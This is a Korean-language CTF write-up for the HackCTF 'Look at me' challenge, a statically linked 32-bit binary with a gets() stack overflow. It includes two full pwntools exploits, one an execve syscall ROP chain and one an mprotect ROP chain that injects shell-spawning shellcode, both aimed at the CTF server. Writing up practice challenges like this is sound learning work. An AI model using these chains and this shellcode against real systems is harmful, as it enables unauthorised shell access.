HackCTF의 Look at me 문제다. 문제를 푼 뒤 다른 사람의 write up들을 확인했을 때, 내 풀이와 차이가 많이 나서 당황했다. (나는 sysrop로 풀었지만 다른 사람들은 mprotect 함수를 이용해 쉘 코드가 존재하는 주소에 실행 권한을 준 뒤, 해당 주소로 ret를 변조해 풀었다.)
문제 파일로는 바이너리 하나만 주어져 있다.
바이너리 파일을 실행해보면 "Hellooo..."가 첫 줄에 출력되고 두 번째 줄에서 사용자 입력을 받음을 알 수 있다.
보호기법은 nx bit만 걸려 있는 것을 알 수 있다. 또한 32bit 바이너리인 것을 알 수 있다.
ida로 바이너리를 열어보면 함수가 엄청 많이 존재하는 것을 볼 수 있다. 이는 이 바이너리가 static linking 방식으로 컴파일되서 그렇다.
file 명령어로 확인해보면 statically linked(동적 링크) 통해 이 바이너리가 static linking 방식인 것을 알 수 있다.
static linking은 필요한 라이브러리의 함수들을 libc에서 찾아 쓰는 것이 아닌, 바이너리 내에 라이브러리가 포함되서 컴파일되기 때문에 함수들이 많이 존재하는 것이다.
ldd 명령어로 확인해보면 연결된 libc가 뜨는게 아닌 not a dynamic executable이라는 문구가 뜨는 것을 볼 수 있다.
다시 ida로 돌아와서 main 함수를 확인해보면 main 함수에서는 단순히 look_at_me 함수만 호출하는 것을 알 수 있다.
look_at_me 함수에서는 puts 함수를 통해 "Helloooo..."를 출력한 뒤 gets 함수를 이용해 입력 값을 v1에 저장한다.
당연하게도 bof에 취약한 gets 함수를 사용하기 때문에 스택 오버플로우가 발생할 수 있다.
취약점은 찾았지만 이를 이용할 공격기법이 떠오르지 않았다. 보통의 wargame 문제들은 dynamic linking 방식이라 leak를 통해 libc 안의 system 함수를 호출하는 방식으로 공격을 할 수 있었지만, 이 문제는 static linking이기 때문에 바이너리 내부에 system 함수가 존재하지 않는다면 호출할 방법이 없다.(적어도 내 지식으로는..)
생각해보니 static linking 방식은 많은 함수가 바이너리 존재하기 때문에, 그만큼 쓸만한 가젯도 많아진다. 전에 참여한 ctf에 나온 static linking 문제를 sysrop로 풀었던 기억이 있기 때문에 혹시하고 가젯들을 뒤져봤다.
역시 int 0x80이 존재했다. 이 int 0x80은 eax 레지스터에 저장된 값에 따라 원하는 시스템 콜 명령을 호출할 수 있다. 32bit 기준 execve의 시스템 콜 번호가 0xb이므로 eax에 0xb를 넣고 ebx는 "/bin/sh" 문자열이 저장된 주소, ecx, edx에 0x0을 넣은 후 int 0x80을 실행한다면 쉘을 얻을 수 있을 것이다.
(syscall table : syscall x86/x64)
eax에 값을 세팅 해줄 수 있는 가젯을 찾았다.
또한 ebx, ecx, edx에 인자 세팅을 해줄 수 있는 가젯 또한 존재했다.
위 가젯들을 이용한다면 execve system call을 사용할 수 있다. 그렇다면 ret를 gets 함수로 변조하여 bss에 "/bin/sh" 문자열을 저장한 뒤 chain을 이어가, execve system call 호출시 bss의 주소 값을 ebx 레지스터에 넣어준다면 쉘을 얻을 수 있을 것이다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3017)
elf = ELF('./lookatme')
bss = elf.bss()
pop_eax = 0x080b81c6 # pop eax; ret
pppr = 0x0806f050 # pop edx; pop ecx; pop ebx; ret
int80 = 0x0806cc25 # int 0x80
gets = elf.symbols['gets']
payload = b'A' * 28
payload += p32(gets) + p32(pop_eax) + p32(bss)
payload += p32(pppr) + p32(0) + p32(0) + p32(bss)
payload += p32(pop_eax) + p32(0xb) + p32(int80)
r.recv()
sleep(0.1)
r.sendline(payload)
sleep(0.1)
r.sendline(b'/bin/sh\x00')
r.interactive()
위 코드가 최종적으로 완성한 exploit 코드다. gets 함수로 bss에 "/bin/sh\x00"을 저장해주고 위에서 구한 가젯을 통해 ebx, edx, ecx 레지스터에 값을 세팅한 뒤 eax에 0xb를 넣어 int 0x80 가젯을 실행한다면 쉘을 얻게된다.
참고로 이 바이너리는 static linking이라 plt가 없으므로 plt 함수가 아닌 symbols 함수를 이용해 함수 주소를 구해야한다.
성공적으로 flag를 획득하였다. GG!
-번외
다른 사람들이 작성한 write up을 살펴보니 sysrop가 아닌 mprotect rop라는 기법을 사용해 flag를 따낸 경우가 많았다. 이 mprotect rop를 이용한 풀이도 작성하겠다. (mprotect rop 기법에 대한 설명은 따로 글을 작성할 생각이다.)
간단하게 설명하자면 mprotect rop에서 mprotect는 함수를 말한다. 이 함수는 메모리에 대한 접근을 제어해주는데, 이 접근은 r(read), w(write), x(execute) 등을 뜻한다.
nx bit 보호기법이 스택, 메모리 영역에 실행 권한을 주지 않는 것인데, 만약 이 mprotect 함수를 이용해 실행 권한이 없는 영역에 실행 권한을 준다면??? 또한 그 영역에 쉘 코드가 저장돼 있다면...?
= exploit success! :)
이 방법을 이용한 rop 공격을 바로 mprotect rop라고 칭한다. 쉘 코드를 bss 등의 위치에 삽입한 후, mprotect 함수로 해당 위치에 실행권한을 준 뒤 쉘 코드가 삽입된 주소로 ret하는 것이다.
#include <sys/mman.h>
int mprotect(const void *addr, size_t len, int prot);
위 코드가 mprotect 함수의 원형이다.
*addr : 접근을 제어할 주소
len : 길이
prot : 다음 값들의 비트 단위 OR 값
PROT_NONE : 어떤한 접근도 불가능
PROT_READ : 읽기 권한
PROT_WRITE : 쓰기 권한
PROT_EXEC : 실행 권한
prot에서 각각의 PROT 들의 값을 찾진 못했지만 rwx를 모두 적용시키는 값이 0x7이라는 점을 알게 됐다.
결국 쉘 코드가 있는 위치에 실행권한을 주는 것이 목적이므로 rwx를 모두 적용시켜버려도 상관 없다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3017)
elf = ELF('./lookatme')
shellcode = "\x90" * 5 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x00"
bss = 0x80EB000
pop_eax = 0x080b81c6
pppr = 0x0806f050
gets = elf.symbols['gets']
mprotect = elf.symbols['mprotect']
payload = b'A' * 28
payload += p32(gets) + p32(pop_eax) + p32(bss)
payload += p32(mprotect) + p32(pppr) + p32(bss) + p32(len(shellcode)) + p32(0x7)
payload += p32(bss)
r.recv()
sleep(0.1)
r.sendline(payload)
sleep(0.1)
r.sendline(shellcode)
r.interactive()
위 코드가 바로 mprotect rop를 이용한 공격 코드다. gets 함수로 bss 섹션에 쉘 코드를 저장한 후 mprotect 함수로 bss에 실행 권한을 준 뒤, bss의 코드를 실행하도록 chain을 구성했다.
마찬가지로 flag를 얻을 수 있었다. GG!
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] RTC (0) | 2021.07.30 |
---|---|
[HackCTF] Great Binary (0) | 2021.07.25 |
[HackCTF] Sysrop (0) | 2021.07.21 |
[HackCTF] ROP (0) | 2021.07.21 |
[HackCTF] RTL_Core (0) | 2021.07.20 |